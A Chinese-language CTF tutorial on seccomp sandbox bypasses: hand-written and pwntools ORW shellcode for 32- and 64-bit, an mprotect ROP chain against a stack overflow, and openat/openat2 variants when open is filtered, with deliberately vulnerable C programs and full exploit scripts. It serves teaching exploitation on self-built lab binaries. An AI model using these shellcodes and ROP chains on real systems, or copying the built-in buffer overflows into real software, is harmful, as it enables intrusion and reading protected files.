前言
Seccomp(1)已经大致介绍了一下沙箱,并且在最后的结尾处我自己还写了一个orw
的源码,简单介绍了一下orw
的汇编,这篇文章简单介绍一下常见的沙箱绕过方法。
参考文章:Linux X86架构 32 64系统调用表 ❤️❤️
ORW
还是先简单介绍一下ORW
,上一篇文章介绍了64位的,这里简单介绍一下32位
32位
- 先编译源码,在开始编译32位之前,要先安装32位的libseccomp以及工具链
1 2 3
| sudo apt update sudo apt install libseccomp2:i386 sudo apt install gcc-multilib g++-multilib
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| #include <stdio.h> #include <unistd.h> #include <seccomp.h> #include <linux/seccomp.h> #include <string.h>
void seccomp() { scmp_filter_ctx ctx; ctx = seccomp_init(SCMP_ACT_ALLOW); seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve),0); seccomp_load(ctx); }
void init() { setbuf(stdin,0); setbuf(stdout,0); setbuf(stderr,0); }
int main(void) { init(); seccomp(); char buf[0x100]; memset(buf,0,sizeof(buf)); read(0,buf,0x200); void (*func)() = (void (*)())buf; func(); }
|
1 2 3
| shellcode = shellcraft.open('flag') shellcode += shellcraft.read(3,'esp',0x30) shellcode += shellcraft.write(1,'esp',0x30)
|
1 2 3 4
| stdin -> 0 stdout -> 1 stderr -> 2 flag -> 3
|
手写
1.获得”flag”的小端序
1 2
| "flag"[::-1].encode().hex() '67616c66'
|
2.shellcode直接写,在开头清空了一个字长的esp
只需要记住三个参数顺序是ebx,rcx,edx
以及其所对应的含义,应该还是不难记的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| shellcode = ''' push 1; dec byte ptr [esp]; /* open('flag') */ push 0x67616c66; mov ebx, esp; xor ecx, ecx; xor edx, edx; push 5;pop eax; int 0x80;
/* read(3,'esp',0x30) */ mov ecx, esp; push 3; pop ebx; push 0x30; pop edx; push 3; pop eax; int 0x80;
/* write(1,'esp',0x30) */ mov ecx, esp; push 1; pop ebx; push 0x30; pop edx; push 4; pop eax; int 0x80; '''
|
dec byte ptr [esp];
是指将esp指向的地址数据-1
例题
pwnable_orw
和上面讲解的可以说没什么区别,只是在写shellcode前加了一段输出,但是不知道为什么我一直打不通,不是很理解。仿照着自己写一个,但是没开canary,没太大影响。
buuctf
没打通换pwnable
去打:https://pwnable.tw/challenge/#2
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| #include <stdio.h> #include <unistd.h> #include <seccomp.h> #include <linux/seccomp.h> #include <string.h>
void seccomp() { scmp_filter_ctx ctx; ctx = seccomp_init(SCMP_ACT_ALLOW); seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve),0); seccomp_load(ctx); }
void init() { setbuf(stdin,0); setbuf(stdout,0); setbuf(stderr,0); }
int main(void) { init(); seccomp(); char buf[0x100]; memset(buf,0,sizeof(buf)); printf("Have a try!!!!"); read(0,buf,0x200); void (*func)() = (void (*)())buf; func(); }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62
| from pwn import * def bug(): gdb.attach(p) pause()
def get_addr(): return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb(): return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
sd = lambda data : p.send(data) sa = lambda text,data :p.sendafter(text, data) sl = lambda data :p.sendline(data) sla = lambda text,data :p.sendlineafter(text, data) rc = lambda num=4096 :p.recv(num) ru = lambda text :p.recvuntil(text) rl = lambda :p.recvline() pr = lambda num=4096 :print(p.recv(num)) ia = lambda :p.interactive() l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00')) l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00')) uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00')) int16 = lambda data :int(data,16) lg= lambda s, num :p.success('%s -> 0x%x' % (s, num))
context(arch = "i386",os = "linux",log_level = "debug") context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
libc = "/home/pwn/Desktop/buuctf/libc/64bits/libc-2.23.so" one = [0x45216,0x4526a,0xf02a4,0xf1147]
file = "./orw"
p = process(file) elf = ELF(file) libc = ELF(libc)
def bug(): gdb.attach(p) pause()
shellcode = shellcraft.open('flag') shellcode += shellcraft.read(3,'esp',0x30) shellcode += shellcraft.write(1,'esp',0x30)
sa("!!!!",asm(shellcode)) print(p.recv())
|
64位
在seccomp学习(1)
中也介绍过了,运用其实和32位也没有区别,毕竟都是用pwntools
自带的模块生成,也无需关心系统调用号。
mmap
介绍
- 它能够将一个文件或其他对象映射到内存中,使得该文件的内容可以像普通内存一样进行读取和写入操作,而不需要通过标准的 I/O 函数(如
read
和 write
)来进行文件操作。
1
| void* mmap(void* addr, size_t length, int prot, int flags, int fd, off_t offset);
|
参数解析
- **
addr
**:
- 请求的内存映射的起始地址。一般情况下,可以设置为
NULL
,由操作系统选择合适的地址来映射。如果指定了一个地址,操作系统会尝试将映射放在该地址开始的位置。
- **
length
**:
- 要映射的内存区域的长度(字节数)。必须是页面大小的倍数,页面大小通常是 4 KB 或 8 KB。
- **
prot
**:
- 保护标志,指定映射区域的访问权限。常见的值包括:
PROT_READ
:允许读取映射区域的内容。
PROT_WRITE
:允许写入映射区域的内容。
PROT_EXEC
:允许执行映射区域的代码。
PROT_NONE
:禁止访问该区域。
- **
flags
**:
- 映射区域的行为和特性标志。常见的值包括:
MAP_SHARED
:映射区域对所有进程共享,修改会反映到文件或设备中。
MAP_PRIVATE
:映射区域为私有的,对进程内存的修改不会写回原文件。
MAP_ANONYMOUS
:映射一个匿名内存区域(不与任何文件关联)。
MAP_FIXED
:要求映射到指定的地址位置,可能会覆盖现有的地址空间。
- **
fd
**:
- 文件描述符,指向要映射的文件。如果映射的是匿名内存区域,则此参数应为
-1
。
- **
offset
**:
- 映射的起始偏移量(字节)。这个偏移量必须是页面大小的倍数,通常设置为 0。
通常用法
1 2
| mmap(start, len, 7, 34, 0, 0)
|
之前的题目都是直接将shellcode写到栈上,或者写入一个bss段,然后函数会自动跳转去实现,但是如果开启了NX保护且只允许你往栈上写入数据,那你不炸了吗?其实不然
,如何出题人贴心的给了你mmap
,你可以往那里写入shellcode,然后控制程序执行流跳转过去执行,下面来看看:
例题
[极客大挑战 2019]Not Bad
mprotect
介绍
mprotect
是 mmap
的补充,它允许你改变一个已经映射到内存的区域的访问权限,比如使得某个内存区域只读、只写、可执行等。mmap
开辟一段内存映射,mprotect
修改某一段内存映射。
1
| int mprotect(void *addr, size_t length, int prot);
|
参数解析
**addr
**:
- 要修改保护属性的内存区域的起始地址。通常,地址应当是一个页面(通常是 4KB 或 8KB)的起始地址。如果
addr
不是页面对齐的,mprotect
会向下舍入到页面的起始位置。
**length
**:
- 要修改保护属性的内存区域的长度(字节数)。长度通常应是页面大小的倍数。
**prot
**:
- 新的保护属性。可以是以下标志的按位 OR 结果:
PROT_READ
:该区域是可读的。
PROT_WRITE
:该区域是可写的。
PROT_EXEC
:该区域是可执行的。
PROT_NONE
:该区域不可访问。
prot
组合了这些标志,用来指定访问权限。例如,PROT_READ | PROT_WRITE
表示该区域既可读又可写。
通常用法
1
| mprotect(addr, 0x1000, 7)
|
32位
看我写的这篇文章:BUUCTF get_started_3dsctf_2016_buuctf get started-CSDN博客
64位
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| #include <stdio.h> #include <unistd.h> #include <seccomp.h> #include <linux/seccomp.h> #include <string.h> #include <sys/mman.h>
void gift() { asm volatile ( "pop %rdi;" "pop %rsi;" "pop %rdx;" "ret;" ); }
void seccomp() { scmp_filter_ctx ctx; ctx = seccomp_init(SCMP_ACT_ALLOW); seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve),0); seccomp_load(ctx); }
void init() { setbuf(stdin,0); setbuf(stdout,0); setbuf(stderr,0); }
int main(void) { init(); seccomp(); char buf[0x100]; memset(buf,0,sizeof(buf)); printf("Give you a gift %p\n",&puts); read(0,buf,0x200); }
|
分析
1 2 3 4 5 6 7
| pwn@ctfpwn:~/learn/Seccomp/test/mprotect_test$ checksec mprotect64 [*] '/home/pwn/learn/Seccomp/test/mprotect_test/mprotect64' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000
|
- 直接给了
puts的地址
,相当于已经知道了libc,即使开了NX保护,我们用mprotect
修改某一部分的内存映射位rwx,然后将shellcode布置到那里,一样可以get flag。
- 通常先
mprotect
提权,再read
直接读shellcode,然后跳转执行。
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65
| from pwn import * def bug(): gdb.attach(p) pause()
def get_addr(): return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb(): return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
sd = lambda data : p.send(data) sa = lambda text,data :p.sendafter(text, data) sl = lambda data :p.sendline(data) sla = lambda text,data :p.sendlineafter(text, data) rc = lambda num=4096 :p.recv(num) ru = lambda text :p.recvuntil(text) rl = lambda :p.recvline() pr = lambda num=4096 :print(p.recv(num)) ia = lambda :p.interactive() l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00')) l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00')) uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00')) int16 = lambda data :int(data,16) lg= lambda s, num :p.success('%s -> 0x%x' % (s, num))
context(arch = "amd64",os = "linux")
context.terminal = ['gnome-terminal', '-x', 'sh', '-c'] file = "./mprotect64"
libc = "/lib/x86_64-linux-gnu/libc.so.6"
p = process(file) elf = ELF(file) libc = ELF(libc)
ru("gift ") libc.address = int(p.recv(14),16) - libc.sym['puts'] mprotect = libc.sym['mprotect'] pop_rdi_rsi_rdx_ret = 0x00000000004011fe read = libc.sym['read'] ret = 0x000000000040101a bss = 0x404000
lg("libc_address: ",libc.address) lg("mprotect: ",mprotect) lg("read: ",read)
shellcode = shellcraft.open('flag') shellcode += shellcraft.read(3,bss,0x30) shellcode += shellcraft.write(1,bss,0x30)
payload = cyclic(0x108) payload += flat(pop_rdi_rsi_rdx_ret,bss,0x1000,7,ret,mprotect) payload += flat(pop_rdi_rsi_rdx_ret,0,bss+0x100,0x100,ret,read) payload += p64(bss+0x100)
sd(payload)
sd(asm(shellcode))
print(p.recv()) print(p.recv())
|
三种open的介绍
open
open
系统调用
open
系统调用的 Linux x86_64 版本的系统调用号是 2
。
系统调用参数:
rax
:系统调用号(对于 open
,值为 2
)。
rdi
:文件路径 pathname
(指向字符串的指针)。
rsi
:flags
(例如 O_RDONLY
, O_WRONLY
)。
rdx
:mode
(仅在文件创建时使用,例如 0644
)。
通常用法
1 2 3 4 5 6
| push 0x67616c66; mov rdi, rsp; // 注意不要pop, 不然后面不能直接mov rsi, rsp; xor rsi, rsi; xor rdx, rdx; push 2; pop rax;
|
openat1
openat
系列函数是对 open
系统调用的扩展,它允许在指定的目录文件描述符下进行文件操作。openat
的引入解决了 open
调用不能提供基于目录文件描述符的灵活性问题,特别是在需要相对路径时。
- 函数原型
1 2
| int openat(int dirfd, const char *pathname, int flags); int openat(int dirfd, const char *pathname, int flags, mode_t mode);
|
openat
系统调用
1
| openat` 系统调用的 Linux x86_64 版本的系统调用号是 `257
|
系统调用参数:
rax
:系统调用号(对于 openat
,值为 257
)。
rdi
:目录文件描述符 dirfd
(例如 AT_FDCWD
)。
rsi
:文件路径 pathname
(指向字符串的指针)。
rdx
:flags
(例如 O_RDONLY
)。
r10
:mode
(仅在创建文件时使用,默认为 0
)。
r8
:路径解析标志(通常为 0
)。
通常用法
1 2 3 4 5 6
| mov rdi, -100 ; AT_FDCWD,-100表示当前目录,允许使用相对目录 mov rsi, filename ; 将文件路径 'flag' 地址传给 rsi mov rdx, 0 ; O_RDONLY,表示只读模式 mov r10, 0 ; 模式位为 0,表示不创建文件 mov r8, 0 ; 路径解析标志为 0 mov rax, 257 ; 系统调用号 257 (openat)
|
例题
1.这篇文章:http://downbeat.top/2024/09/18/%E6%B2%99%E7%AE%B1%E7%A6%81%E7%94%A8ORW-BaseCTF/
2.自己编译:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| #include <stdio.h> #include <unistd.h> #include <seccomp.h> #include <linux/seccomp.h> #include <string.h>
void seccomp() { scmp_filter_ctx ctx; ctx = seccomp_init(SCMP_ACT_ALLOW); seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve),0); seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(open),0); seccomp_load(ctx); }
void init() { setbuf(stdin,0); setbuf(stdout,0); setbuf(stderr,0); }
int main(void) { init(); seccomp(); char buf[0x100]; memset(buf,0,sizeof(buf)); read(0,buf,0x200); ((void (*)())buf)(); }
|
1 2 3 4 5 6 7 8 9 10 11 12
| pwn@ctfpwn:~/learn/Seccomp/test/3种open$ seccomp-tools dump ./openat1 line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x06 0xc000003e if (A != ARCH_X86_64) goto 0008 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005 0004: 0x15 0x00 0x03 0xffffffff if (A != 0xffffffff) goto 0008 0005: 0x15 0x02 0x00 0x00000002 if (A == open) goto 0008 0006: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0008 0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0008: 0x06 0x00 0x00 0x00000000 return KILL
|
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| from pwn import * context(arch='amd64',log_level='debug') context.terminal = ['gnome-terminal', '-x', 'sh', '-c'] def bug(): gdb.attach(p) pause()
p = process("./openat1") elf = ELF("./openat1")
shellcode = shellcraft.openat(-100,'./flag',0,0) shellcode += shellcraft.read('rax','rsp',0x30) shellcode += shellcraft.write(1,'rsp',0x30) p.send(asm(shellcode))
print(p.recv())
|
效果:
手写:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| shellcode = ''' /*openat(0,'./flag',0,0) */ mov rax, 0x67616c662f2e push rax mov rsi, rsp xor rax, rax xor rdi, rdi sub rdi, 100 xor rdx, rdx mov r10, 7 xor r8, r8 mov rax, 0x101 syscall;
/* read(3,'rsp',0x30) */ mov rdi, rax xor rax, rax mov rsi, rsp mov rdx, 0x30 syscall;
/* write(1,'rsp', 0x30) */ mov rsi, rsp push 1; pop rdi push 0x30; pop rdx mov rax, 1 syscall; '''
|
openat2
openat2
是 openat
的进一步扩展,主要出现在 Linux 5.6 及以上版本中
。openat2
提供了比 openat
更强大的文件打开控制功能,允许用户在文件打开时传递更多的选项和控制标志,尤其是与路径解析和文件权限相关的功能。
- 函数原型:
1 2
| int openat2(int dirfd, const char *pathname, struct open_how *how); int openat2(int dirfd, const char *pathname, struct open_how *how, size_t size);
|
可以发现多了open_how
这样的结构体,这个结构体使得openat2更加灵活和方便的打开文件
1 2 3 4 5
| struct open_how { __aligned_u64 flags; __aligned_u64 mode; __aligned_u64 resolve; };
|
openat2
系统调用
openat2
系统调用在 Linux 5.6 中引入,系统调用号是 437
,允许更灵活地传递打开文件的选项。它的参数通过 struct open_how
结构体传递。
系统调用参数:
rax
:系统调用号(对于 openat2
,值为 437
)。
rdi
:目录文件描述符 dirfd
(例如 AT_FDCWD
)。
rsi
:文件路径 pathname
(指向字符串的指针)。
rdx
:指向 struct open_how
结构体的指针。
通常用法
1 2
| openat2(-100,flag_addr,flag_addr+0x8,0x18)
|
手写
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| shellcode=''' /* openat2(-100,flag_addr,flag_addr+0x20,0x18) */ mov rdi, -100 mov rdx, 0 push rdx push rdx push rdx mov rdx, rsp mov rsi, 0x67616c662f push rsi mov rsi, rsp add rdx, 0x100 mov r10, 0x18 mov rax, 437 syscall;
/* read(3,'rsp',0x30) */ mov rdi, rax xor rax, rax mov rsi, rsp mov rdx, 0x30 syscall;
/* write(1,'rsp', 0x30) */ mov rsi, rsp push 1; pop rdi push 0x30; pop rdx mov rax, 1 syscall; '''
|
![](../屏幕截图 2024-11-15 203709.png)